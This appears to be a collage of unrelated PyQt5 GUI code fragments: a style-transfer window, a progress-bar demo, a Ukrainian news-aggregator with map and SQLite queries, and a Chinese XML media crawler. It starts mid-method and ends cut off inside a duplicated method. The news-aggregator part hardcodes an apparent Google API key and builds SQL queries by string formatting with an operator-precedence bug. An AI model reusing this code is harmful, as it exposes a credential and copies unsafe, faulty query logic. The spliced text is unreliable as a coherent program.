self.step += 0.2 if self.ps.poll() is not None: self.step = 100 self.outputPic.changeImage(self.outpath) self.progBar.setValue(self.step) def share(self): pass
class Example(QMainWindow): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(120, 150, 250, 20) self.btn = QPushButton('Start', self) self.btn.move(200, 180) self.btn.clicked.connect(self.doAction) sld = QSlider(Qt.Horizontal, self) sld.setFocusPolicy(Qt.NoFocus) sld.setGeometry(120, 120, 250, 30) self.timer = QBasicTimer() self.step = 0 AccionSalida = QAction(QIcon('pngegg.png'), 'Exit', self) AccionSalida.setShortcut('Ctrl+Q') AccionSalida.setStatusTip('Exit') AccionSalida.triggered.connect(self.close) self.statusBar() BarraMenu = self.menuBar() MenuArchivo = BarraMenu.addMenu('&File') MenuArchivo.addAction(AccionSalida) BarraHerramienta = QAction(QIcon('pngegg.png'), 'Exit', self) BarraHerramienta.setShortcut('Ctrl+Q') BarraHerramienta.triggered.connect(qApp.quit) self.toolbar = self.addToolBar('Exit') self.toolbar.addAction(BarraHerramienta) self.setGeometry(800, 800, 500, 400) self.setWindowTitle('Ventana Principal') self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start(100, self) self.btn.setText('Stop')
class Ui_Form(object): def setupUi(self, Form): Form.setObjectName("Form") Form.resize(1014, 664) dekstop = QtWidgets.QApplication.desktop() x = (dekstop.width() - Form.width()) // 2 y = (dekstop.height() - Form.height() - 200) // 2 Form.move(x,y) self.frame = QtWidgets.QFrame(Form) self.frame.setGeometry(QtCore.QRect(0, 0, 831, 401)) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName("frame") self.browser = Web(self.frame) ur = QUrl("file:/home/myroslav/PycharmProjects/bakal/mymap.html") self.browser.load(ur) self.browser.setGeometry(QtCore.QRect(1, 1, 830, 400)) self.browser.setObjectName("WebView") self.frame_2 = QtWidgets.QFrame(Form) self.frame_2.setGeometry(QtCore.QRect(840, 0, 171, 401)) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName("frame_2") self.label_5 = QtWidgets.QLabel(self.frame_2) self.label_5.setGeometry(QtCore.QRect(10, 8, 151, 20)) self.label_5.setObjectName("label_5") self.frame_5 = QtWidgets.QFrame(self.frame_2) self.frame_5.setGeometry(QtCore.QRect(6, 33, 161, 145)) self.frame_5.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_5.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_5.setObjectName("frame_5") self.label_4 = QtWidgets.QLabel(self.frame_5) self.label_4.setGeometry(QtCore.QRect(12, 6, 141, 20)) self.label_4.setObjectName("label_4") self.checkBox = QtWidgets.QCheckBox(self.frame_5) self.checkBox.setGeometry(QtCore.QRect(8, 34, 93, 25)) self.checkBox.setObjectName("checkBox") self.checkBox_2 = QtWidgets.QCheckBox(self.frame_5) self.checkBox_2.setGeometry(QtCore.QRect(8, 70, 93, 25)) self.checkBox_2.setObjectName("checkBox_2") self.checkBox_3 = QtWidgets.QCheckBox(self.frame_5) self.checkBox_3.setGeometry(QtCore.QRect(8, 106, 93, 25)) self.checkBox_3.setObjectName("checkBox_3") self.frame_4 = QtWidgets.QFrame(self.frame_2) self.frame_4.setGeometry(QtCore.QRect(5, 184, 161, 101)) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName("frame_4") self.label_3 = QtWidgets.QLabel(self.frame_4) self.label_3.setGeometry(QtCore.QRect(9, 1, 131, 20)) self.label_3.setObjectName("label_3") self.dateEdit_3 = QtWidgets.QDateEdit(self.frame_4) self.dateEdit_3.setGeometry(QtCore.QRect(33, 25, 121, 32)) self.dateEdit_3.setObjectName("dateEdit_3") b = datetime.date.today().year b1 = datetime.date.today().month b2 = datetime.date.today().day self.dateEdit_3.setDisplayFormat("dd - MM - yyyy") self.dateEdit_3.setDate(QtCore.QDate(b, b1, b2)) self.dateEdit_3.setDateRange(QtCore.QDate(2017,1,1),QtCore.QDate(b, b1, b2)) self.dateEdit_4 = QtWidgets.QDateEdit(self.frame_4) self.dateEdit_4.setGeometry(QtCore.QRect(34, 61, 121, 32)) self.dateEdit_4.setObjectName("dateEdit_4") self.dateEdit_4.setDisplayFormat("dd - MM - yyyy") self.dateEdit_4.setDate(QtCore.QDate(b, b1, b2)) self.dateEdit_4.setDateRange(QtCore.QDate(2017,1,1),QtCore.QDate(b, b1, b2)) self.label = QtWidgets.QLabel(self.frame_4) self.label.setGeometry(QtCore.QRect(10, 32, 31, 21)) self.label.setObjectName("label") self.label_2 = QtWidgets.QLabel(self.frame_4) self.label_2.setGeometry(QtCore.QRect(10, 61, 31, 31)) self.label_2.setObjectName("label_2") self.label_3.raise_() self.label.raise_() self.label_2.raise_() self.label_3.raise_() self.dateEdit_3.raise_() self.dateEdit_4.raise_() self.label.raise_() self.label_2.raise_() self.frame_6 = QtWidgets.QFrame(self.frame_2) self.frame_6.setGeometry(QtCore.QRect(5, 292, 161, 101)) self.frame_6.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_6.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_6.setObjectName("frame_6") self.pushButton_2 = QtWidgets.QPushButton(self.frame_6) self.pushButton_2.setGeometry(QtCore.QRect(5, 68, 72, 28)) self.pushButton_2.setObjectName("pushButton_2") self.pushButton_3 = QtWidgets.QPushButton(self.frame_6) self.pushButton_3.setGeometry(QtCore.QRect(83, 67, 72, 28)) self.pushButton_3.setObjectName("pushButton_3") self.pushButton = QtWidgets.QPushButton(self.frame_6) self.pushButton.setGeometry(QtCore.QRect(5, 6, 151, 28)) self.pushButton.setAutoDefault(False) self.pushButton.setObjectName("pushButton") self.pushButton.clicked.connect(self.Event_Refresh_DB) self.pushButton.clicked.connect(self.Event_Progress_Bar) self.progressBar = QtWidgets.QProgressBar(self.frame_6) self.progressBar.setGeometry(QtCore.QRect(4, 40, 151, 23)) self.progressBar.setProperty("value", 0) self.progressBar.setTextVisible(True) self.progressBar.setInvertedAppearance(False) self.progressBar.setObjectName("progressBar") self.pushButton.raise_() self.progressBar.raise_() self.pushButton_2.raise_() self.pushButton_2.raise_() self.pushButton_3.raise_() self.pushButton_3.raise_() self.pushButton.raise_() self.progressBar.raise_() self.frame_3 = QtWidgets.QFrame(Form) self.frame_3.setGeometry(QtCore.QRect(0, 410, 1011, 251)) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName("frame_3") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 974, 342)) self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") self.gridLayout = QtWidgets.QGridLayout(self.frame_3) self.gridLayout.setContentsMargins(10, 10, 10, 10) self.gridLayout.setSpacing(5) self.gridLayout.setObjectName("gridLayout") self.gridLayout_2 = QtWidgets.QGridLayout(self.scrollAreaWidgetContents) self.gridLayout_2.setContentsMargins(5, 7, 5, 5) self.gridLayout_2.setSpacing(10) self.gridLayout_2.setObjectName("gridLayout_2") #self.gridLayout_2.setRowMinimumHeight(0,100) self.scrollArea = QtWidgets.QScrollArea(self.frame_3) self.scrollArea.setLineWidth(1) self.scrollArea.setGeometry(QtCore.QRect(0, 0, 1010, 250)) self.scrollArea.setObjectName("scrollArea") self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.gridLayout.addWidget(self.scrollArea, 0, 1, 1, 1) self.pushButton_2.clicked.connect(self.create_text) self.pushButton_3.clicked.connect(self.clear_text) QtCore.QMetaObject.connectSlotsByName(Form) self.retranslateUi(Form) # self.textEdit_5.mouseDoubleClickEvent = self.web def create_text(self): self.TextEditContainer = [] dat = self.Current_date() datt = [] for i in range(dat.__len__()): if dat[i][-2] == '0': datt.append([dat[i][-1] + dat[i][4:6] + dat[i][2:4] + '0000', dat[i][-1] + dat[i][4:6] + dat[i][2:4] + '2460']) else: datt.append([dat[i][6:8] + dat[i][4:6] + dat[i][2:4] + '0000', dat[i][6:8] + dat[i][4:6] + dat[i][2:4] + '2460']) self.con = sqlite3.connect('All_Pars_BD.db3') self.cur = self.con.cursor() dd = self.cur.execute("SELECT name FROM sqlite_master WHERE name='main'").fetchone() if not dd: print("Базу даних з вхідним текстом не знайдено") Cenzor_status = self.checkBox.checkState() ZelvRU_status = self.checkBox_2.checkState() ZelvUA_status = self.checkBox_3.checkState() All = [Cenzor_status,ZelvRU_status,ZelvUA_status] tx = [] if All ==[0,2,2] : self.domain = ['ЗелвРУ','ЗелвЮА'] for i in range(datt.__len__()): self.cur.execute( "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' and date BETWEEN {2} and {3} ORDER BY date".format( self.domain[0],self.domain[1], datt[i][0], datt[i][1])) tx += self.cur.fetchall() self.con.close() tx = [list(tx[i]) for i in range(tx.__len__())] if All ==[2,0,2] : self.domain = ['ЗелвЮА','Цензор'] for i in range(datt.__len__()): self.cur.execute( "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' and date BETWEEN {2} and {3} ORDER BY date".format( self.domain[0],self.domain[1], datt[i][0], datt[i][1])) tx += self.cur.fetchall() self.con.close() tx = [list(tx[i]) for i in range(tx.__len__())] if All ==[2,2,0] : self.domain = ['ЗелвРУ','Цензор'] for i in range(datt.__len__()): self.cur.execute( "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' and date BETWEEN {2} and {3} ORDER BY date".format( self.domain[0],self.domain[1], datt[i][0], datt[i][1])) tx += self.cur.fetchall() self.con.close() tx = [list(tx[i]) for i in range(tx.__len__())] if All ==[2,2,2] : self.domain = ['ЗелвЮА','ЗелвРУ','Цензор'] for i in range(datt.__len__()): self.cur.execute( "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' or domain = '{2}'and date BETWEEN {3} and {4} ORDER BY date".format( self.domain[0],self.domain[1],self.domain[2], datt[i][0], datt[i][1])) tx += self.cur.fetchall() self.con.close() tx = [list(tx[i]) for i in range(tx.__len__())] if All ==[0,0,2] : self.domain = 'ЗелвЮА' for i in range(datt.__len__()): self.cur.execute( "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' and date BETWEEN {1} and {2} ORDER BY date".format( self.domain, datt[i][0], datt[i][1])) tx += self.cur.fetchall() self.con.close() tx = [list(tx[i]) for i in range(tx.__len__())] if All == [0, 2, 0]: self.domain = 'ЗелвРУ' for i in range(datt.__len__()): self.cur.execute( "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' and date BETWEEN {1} and {2} ORDER BY date".format( self.domain, datt[i][0], datt[i][1])) tx += self.cur.fetchall() self.con.close() tx = [list(tx[i]) for i in range(tx.__len__())] if All == [2, 0, 0]: self.domain = 'Цензор' for i in range(datt.__len__()): self.cur.execute( "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' and date BETWEEN {1} and {2} ORDER BY date".format(self.domain,datt[i][0],datt[i][1])) tx += self.cur.fetchall() self.con.close() tx = [ list(tx[i]) for i in range(tx.__len__())] if All == [0, 0, 0]: print('Виберіть ресурс') for i in range(tx.__len__()): tx[i][0] = str(tx[i][0]).replace('\xa0','') #tx[i] = '\n\n'.join(tx[i]) #print(tx[i]) row = math.ceil(len(tx)/3) i=0 for x in range(row): for y in range(3): self.TextEditContainer.append(QtWidgets.QTextEdit(self.scrollAreaWidgetContents)) self.TextEditContainer[-1].setObjectName("textEdit{0}".format(i)) self.TextEditContainer[-1].setFixedSize(320, 300) self.TextEditContainer[-1].setTextInteractionFlags(QtCore.Qt.NoTextInteraction) self.TextEditContainer[-1].setFont(QtGui.QFont("Calibri",9, QtGui.QFont.Bold)) #self.TextEditContainer[-1].setText('\n\n\n') try: t = str(tx[i][1]) t = "{0}.{1} о {2}:{3}".format(t[:-8], t[-8:-6], t[-4:-2], t[-2:]) except: continue self.TextEditContainer[-1].setText(' {0}\t {1}\n {2}\n\n {3}'.format(t,tx[i][3],tx[i][0],tx[i][2])) self.TextEditContainer[-1].mouseDoubleClickEvent = lambda event,url = tx[i][4]:self.web(event,url)#tx[i][4]) self.gridLayout_2.addWidget(self.TextEditContainer[-1], x, y, 1, 1) i += 1 def clear_text(self): [self.TextEditContainer[i].deleteLater() for i in range(self.TextEditContainer.__len__())] def web(self, event,url): import webbrowser webbrowser.open(url) def retranslateUi(self, Form): _translate = QtCore.QCoreApplication.translate Form.setWindowTitle(_translate("Form", "Form")) self.label_5.setText(_translate("Form", "Панель налаштування")) self.label_4.setText(_translate("Form", "Новинний ресурс")) self.checkBox.setText(_translate("Form", "Cenzor")) self.checkBox_2.setText(_translate("Form", "Zelv RU")) self.checkBox_3.setText(_translate("Form", "Zelv UA")) self.label_3.setText(_translate("Form", "Дата")) self.label.setText(_translate("Form", "З")) self.label_2.setText(_translate("Form", "По")) self.pushButton_2.setText(_translate("Form", "Вивід")) self.pushButton_3.setText(_translate("Form", "Очистка")) self.pushButton.setText(_translate("Form", "Оновлення БД")) self.progressBar.setFormat(_translate("Form", "%p%")) def Current_date(self): date = [self.dateEdit_3.date(), self.dateEdit_4.date()] date = [str(i)[18:].replace("(", '').replace(")", '').replace(" ", '').split(',') for i in date] for j in range(date.__len__()): for i in range(date[0].__len__()): if len(date[j][i]) == 1: date[j][i] = "0" + date[j][i] start = ''.join(date[0]) end = ''.join(date[1]) dat = append_date(start, end) if dat == 'Помилка вводу': print("помилка вводу дати") return dat #@QtCore.pyqtSlot() def Event_Refresh_DB(self): dat = self.Current_date() Cenzor_status = self.checkBox.checkState() ZevlRU_status = self.checkBox_2.checkState() ZelvUA_status = self.checkBox_3.checkState() if ZelvUA_status == 2: for i in range(dat.__len__()): dT = '{2}{1}{0}'.format(dat[i][:4],dat[i][4:6],dat[i][-2:]) refr = ZelvUA().write_bd(dT) if ZevlRU_status == 2: for i in range(dat.__len__()): dT = '{2}{1}{0}'.format(dat[i][:4],dat[i][4:6],dat[i][-2:]) refr = ZelvRU().write_bd(dT) if Cenzor_status == 2: for i in range(dat.__len__()): dT = '{0}-{1}-{2}'.format(dat[i][:4],dat[i][4:6],dat[i][-2:]) refr = Cenzor().write_bd(dT) #@QtCore.pyqtSlot() def Event_Progress_Bar(self): active = Show_map('AIzaSyCOZ0t8PvYAnCPM5s6ZCiOngYr25C_oUy4') ur = QUrl("file:///home/myroslav/PycharmProjects/bakal/mymap.html") self.browser.load(ur) from PyQt5.QtCore import QBasicTimer self.timer = QBasicTimer() self.step = 0 if self.timer.isActive(): self.timer.stop() else: self.timer.start(100, self) def timerEvent(self, e): if self.step >= 100: self.timer.stop() return self.step = self.step + 1 self.progressBar.setValue(self.step)
class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(960, 540) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.centralwidget) self.verticalLayout_2.setObjectName("verticalLayout_2") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.pushButton = QtWidgets.QPushButton(self.centralwidget) self.pushButton.setObjectName("pushButton") self.horizontalLayout.addWidget(self.pushButton) self.lineEdit = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit.setObjectName("lineEdit") #开启拖拽 self.setAcceptDrops(True) self.horizontalLayout.addWidget(self.lineEdit) self.verticalLayout.addLayout(self.horizontalLayout) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.radioButton = QtWidgets.QRadioButton(self.centralwidget) self.radioButton.setObjectName("radioButton") self.horizontalLayout_3.addWidget(self.radioButton) self.radioButton_2 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_2.setChecked(True) self.radioButton_2.setAutoRepeat(False) self.radioButton_2.setObjectName("radioButton_2") self.horizontalLayout_3.addWidget(self.radioButton_2) self.radioButton_3 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_3.setEnabled(True) self.radioButton_3.setTabletTracking(False) self.radioButton_3.setAcceptDrops(False) self.radioButton_3.setAutoFillBackground(False) self.radioButton_3.setChecked(False) self.radioButton_3.setObjectName("radioButton_3") self.horizontalLayout_3.addWidget(self.radioButton_3) self.radioButton_4 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_4.setObjectName("radioButton_4") self.horizontalLayout_3.addWidget(self.radioButton_4) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem) self.radioButton_5 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_5.setObjectName("radioButton_5") self.horizontalLayout_3.addWidget(self.radioButton_5) self.label = QtWidgets.QLabel(self.centralwidget) self.label.setObjectName("label") self.horizontalLayout_3.addWidget(self.label) self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit_2.setObjectName("lineEdit_2") self.horizontalLayout_3.addWidget(self.lineEdit_2) self.verticalLayout.addLayout(self.horizontalLayout_3) self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget) self.textBrowser.setObjectName("textBrowser") self.verticalLayout.addWidget(self.textBrowser) #进度条 self.progressBar = QtWidgets.QProgressBar(self.centralwidget) self.progressBar.setProperty("value", 0) self.progressBar.setObjectName("progressBar") self.verticalLayout.addWidget(self.progressBar) #样式 style = """ QProgressBar { border-radius: 5px; text-align: center; }""" self.progressBar.setStyleSheet(style) self.textBrowser.append('注意事项:不要在爬取过程中关闭程序,会造成最终拷贝文件的不完整。需要手动删除。') #创建计时器 self.timer = QBasicTimer() #初始时间 self.timer.start(100, self) #右键清除 self.textBrowser.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) self.textBrowser.customContextMenuRequested[QtCore.QPoint].connect( self.right) self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.label_2 = QtWidgets.QLabel(self.centralwidget) self.label_2.setObjectName("label_2") self.horizontalLayout_2.addWidget(self.label_2) spacerItem1 = QtWidgets.QSpacerItem(128, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem1) self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget) self.pushButton_2.setObjectName("pushButton_2") self.horizontalLayout_2.addWidget(self.pushButton_2) self.verticalLayout.addLayout(self.horizontalLayout_2) self.verticalLayout_2.addLayout(self.verticalLayout) MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) self.label2 = QtWidgets.QLabel(self.centralwidget) self.label2.setObjectName("label") self.horizontalLayout_3.addWidget(self.label2) #pushButton = 选择xml #lineEdit = 显示路径地址 #radioButton = 视频选项 #radioButton_2 = 音频选项 #radioButton_3 = 图片选项 #radioButton_4 = 全部 #radioButton_5= 增加扩展 #lineEdit_2 = 自定义内容 #textBrowser = 打印平台 #progressBar = 进度监看 #pushButton_2 = 输出确认 self.pushButton.clicked.connect(self.PushButton) self.radioButton.clicked.connect(self.RadioButton) self.radioButton_2.clicked.connect(self.RadioButton_2) self.radioButton_3.clicked.connect(self.RadioButton_3) self.radioButton_4.clicked.connect(self.RadioButton_4) self.radioButton_5.clicked.connect(self.RadioButton_5) self.pushButton_2.clicked.connect(self.PushButton_2) #状态 self.lineEdit_2.setEnabled(False) #右键按钮 def right(self): popMenu = QMenu() popMenu.addAction(QAction(u'clear', self)) popMenu.triggered[QAction].connect(self.processtrigger) popMenu.exec_(QCursor.pos()) #右键事件 def processtrigger(self, q): self.textBrowser.clear() #拖拽执行 def dragEnterEvent(self, evn): #拖入执行 evn.accept() def dropEvent(self, evn): #松开鼠标 a = evn.mimeData().text().replace('file://', '') if a.endswith('.xml'): self.lineEdit.setText(a) def PushButton(self): fname, _ = QFileDialog.getOpenFileName(self, "请选择xml文件路径", "/Users/apple/Desktop", '(*.xml)') if fname: self.pushButton_2.setEnabled(True) self.lineEdit.setText(fname) else: self.textBrowser.append('') def RadioButton(self): self.radioButton.setEnabled(True) def RadioButton_2(self): self.lineEdit_2.setEnabled(False) def RadioButton_3(self): self.lineEdit_2.setEnabled(False) def RadioButton_4(self): self.lineEdit_2.setEnabled(False) def RadioButton_5(self): self.lineEdit_2.setEnabled(True) def PushButton_2(self): fname2 = QFileDialog.getExistingDirectory(self, "请选择输出文件路径", "/Users/apple/Desktop") self.progressBar.setProperty("value", 0) if fname2: self.pushButton_2.setText( QtCore.QCoreApplication.translate("MainWindow", "生成中")) self.pushButton_2.setEnabled(False) self.range = '' if self.radioButton.isChecked() == True: self.range = '.mp4', '.mov' if self.radioButton_2.isChecked() == True: self.range = '.wav', '.mp3' if self.radioButton_3.isChecked() == True: self.range = '.jpg', '.png' if self.radioButton_4.isChecked() == True: self.range = ['all'] if self.radioButton_5.isChecked() == True: a = self.lineEdit_2.text() self.range = a # 多线程实例 self.Thread = MyThread(self.lineEdit.text(), fname2, self.range) # 链接信号,发送信号 self.Thread.trigger.connect(self.display) # 链接进度条信号 self.Thread.proess.connect(self.pro) #返回值 self.Thread.Run.connect(self.Run) # 开启多线程 self.Thread.start() else: self.textBrowser.append('') #平台信号 def display(self, msm): self.textBrowser.append(msm) #进度条信号 def pro(self, n): self.progressBar.setValue(n) #返回值 def Run(self, n): if n == 1: self.pushButton_2.setText( QtCore.QCoreApplication.translate("MainWindow", "输出文件")) self.pushButton_2.setEnabled(True) def retranslateUi(self, MainWindow): v = str(0) _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "XML文件爬虫软件")) self.pushButton.setText(_translate("MainWindow", "选择xml")) self.radioButton.setText(_translate("MainWindow", "视频媒体(mp4,mov)")) self.radioButton_2.setText(_translate("MainWindow", "音频媒体(wav,mp3)")) self.radioButton_3.setText(_translate("MainWindow", "图片(jpg,png)")) self.radioButton_4.setText(_translate("MainWindow", "全部")) self.radioButton_5.setText(_translate("MainWindow", "额外")) self.label.setText(_translate("MainWindow", "自定义过滤(例: .MOV):")) self.label_2.setText( _translate("MainWindow", "作者:金健 WeChat:jinmuzaiyan")) self.pushButton_2.setText(_translate("MainWindow", "输出文件"))
def initUI(self): self.inputPic = myImageViewer("pics/default.png", 400, 300) self.outputPic = myImageResult("pics/default_null.png", 400, 300) self.defaultInpath = self.inputPic.getImagePath() self.VBoxGroups = [] for i in range(self.nStyle): self.VBoxGroups.append( preStyle(self, i + 1, self.style[i], self.picPath[i], 200, 200)) self.HBoxGroupScroll = QGroupBox() self.HBox1 = QHBoxLayout() self.HBox1.addStretch(1) for group in self.VBoxGroups: self.HBox1.addWidget(group) self.HBox1.addStretch(1) self.HBoxGroupScroll.setLayout(self.HBox1) self.transButton = QPushButton('Transfer') self.transButton.setFixedSize(80, 20) self.transButton.clicked.connect(self.transfer) self.shareButton = QPushButton('Share') self.shareButton.setFixedSize(80, 20) self.shareButton.clicked.connect(self.share) self.shareButton.setDisabled(True) self.timer = QBasicTimer() self.step = 0 self.HBoxGroupButton = QGroupBox() self.HBoxButton = QHBoxLayout() self.HBoxButton.addStretch(1) self.HBoxButton.addWidget(self.transButton) self.HBoxButton.addStretch(1) self.HBoxButton.addWidget(self.shareButton) self.HBoxButton.addStretch(1) self.HBoxGroupButton.setLayout(self.HBoxButton) self.progBar = QProgressBar() self.progBar.setFixedSize(500, 10) self.HBoxGroupBar = QGroupBox() self.HBoxBar = QHBoxLayout() self.HBoxBar.addStretch(1) self.HBoxBar.addWidget(self.progBar) self.HBoxBar.addStretch(1) self.HBoxGroupBar.setLayout(self.HBoxBar) self.scroll = QScrollArea() self.scroll.setWidget(self.HBoxGroupScroll) self.scroll.setAutoFillBackground(True) self.scroll.setWidgetResizable(True) #self.HBoxGroupUp = QGroupBox() #self.HBoxUp = QHBoxLayout() #self.HBoxUp.addWidget(self.scroll) #self.HBoxGroupUp.setLayout(self.HBoxUp) self.HBoxGroupDown = QGroupBox() self.HBox2 = QHBoxLayout() self.HBox2.addStretch(1) self.HBox2.addWidget(self.inputPic) self.HBox2.addStretch(1) self.HBox2.addWidget(self.outputPic) self.HBox2.addStretch(1) self.HBoxGroupDown.setLayout(self.HBox2) self.VBox = QVBoxLayout() self.VBox.addStretch(1) self.VBox.addWidget(self.scroll) self.VBox.addStretch(1) self.VBox.addWidget(self.HBoxGroupBar) self.VBox.addStretch(1) self.VBox.addWidget(self.HBoxGroupDown) self.VBox.addStretch(1) self.VBox.addWidget(self.HBoxGroupButton) self.VBox.addStretch(1) self.setLayout(self.VBox)
def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(960, 540) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.centralwidget) self.verticalLayout_2.setObjectName("verticalLayout_2") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.pushButton = QtWidgets.QPushButton(self.centralwidget) self.pushButton.setObjectName("pushButton") self.horizontalLayout.addWidget(self.pushButton) self.lineEdit = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit.setObjectName("lineEdit") #开启拖拽 self.setAcceptDrops(True) self.horizontalLayout.addWidget(self.lineEdit) self.verticalLayout.addLayout(self.horizontalLayout) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.radioButton = QtWidgets.QRadioButton(self.centralwidget) self.radioButton.setObjectName("radioButton") self.horizontalLayout_3.addWidget(self.radioButton) self.radioButton_2 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_2.setChecked(True) self.radioButton_2.setAutoRepeat(False) self.radioButton_2.setObjectName("radioButton_2") self.horizontalLayout_3.addWidget(self.radioButton_2) self.radioButton_3 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_3.setEnabled(True) self.radioButton_3.setTabletTracking(False) self.radioButton_3.setAcceptDrops(False) self.radioButton_3.setAutoFillBackground(False) self.radioButton_3.setChecked(False) self.radioButton_3.setObjectName("radioButton_3") self.horizontalLayout_3.addWidget(self.radioButton_3) self.radioButton_4 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_4.setObjectName("radioButton_4") self.horizontalLayout_3.addWidget(self.radioButton_4) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem) self.radioButton_5 = QtWidgets.QRadioButton(self.centralwidget) self.radioButton_5.setObjectName("radioButton_5") self.horizontalLayout_3.addWidget(self.radioButton_5) self.label = QtWidgets.QLabel(self.centralwidget) self.label.setObjectName("label") self.horizontalLayout_3.addWidget(self.label) self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit_2.setObjectName("lineEdit_2") self.horizontalLayout_3.addWidget(self.lineEdit_2) self.verticalLayout.addLayout(self.horizontalLayout_3) self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget) self.textBrowser.setObjectName("textBrowser") self.verticalLayout.addWidget(self.textBrowser) #进度条 self.progressBar = QtWidgets.QProgressBar(self.centralwidget) self.progressBar.setProperty("value", 0) self.progressBar.setObjectName("progressBar") self.verticalLayout.addWidget(self.progressBar) #样式 style = """ QProgressBar { border-radius: 5px; text-align: center; }""" self.progressBar.setStyleSheet(style) self.textBrowser.append('注意事项:不要在爬取过程中关闭程序,会造成最终拷贝文件的不完整。需要手动删除。') #创建计时器 self.timer = QBasicTimer() #初始时间 self.timer.start(100, self) #右键清除 self.textBrowser.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) self.textBrowser.customContextMenuRequested[QtCore.QPoint].connect( self.right) self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.label_2 = QtWidgets.QLabel(self.centralwidget) self.label_2.setObjectName("label_2") self.horizontalLayout_2.addWidget(self.label_2) spacerItem1 = QtWidgets.QSpacerItem(128, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem1) self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget) self.pushButton_2.setObjectName("pushButton_2") self.horizontalLayout_2.addWidget(self.pushButton_2) self.verticalLayout.addLayout(self.horizontalLayout_2) self.verticalLayout_2.addLayout(self.verticalLayout) MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) self.label2 = QtWidgets.QLabel(self.centralwidget) self.label2.setObjectName("label") self.horizontalLayout_3.addWidget(self.label2) #pushButton = 选择xml #lineEdit = 显示路径地址 #radioButton = 视频选项 #radioButton_2 = 音频选项 #radioButton_3 = 图片选项 #radioButton_4 = 全部 #radioButton_5= 增加扩展 #lineEdit_2 = 自定义内容 #textBrowser = 打印平台 #progressBar = 进度监看 #pushButton_2 = 输出确认 self.pushButton.clicked.connect(self.PushButton) 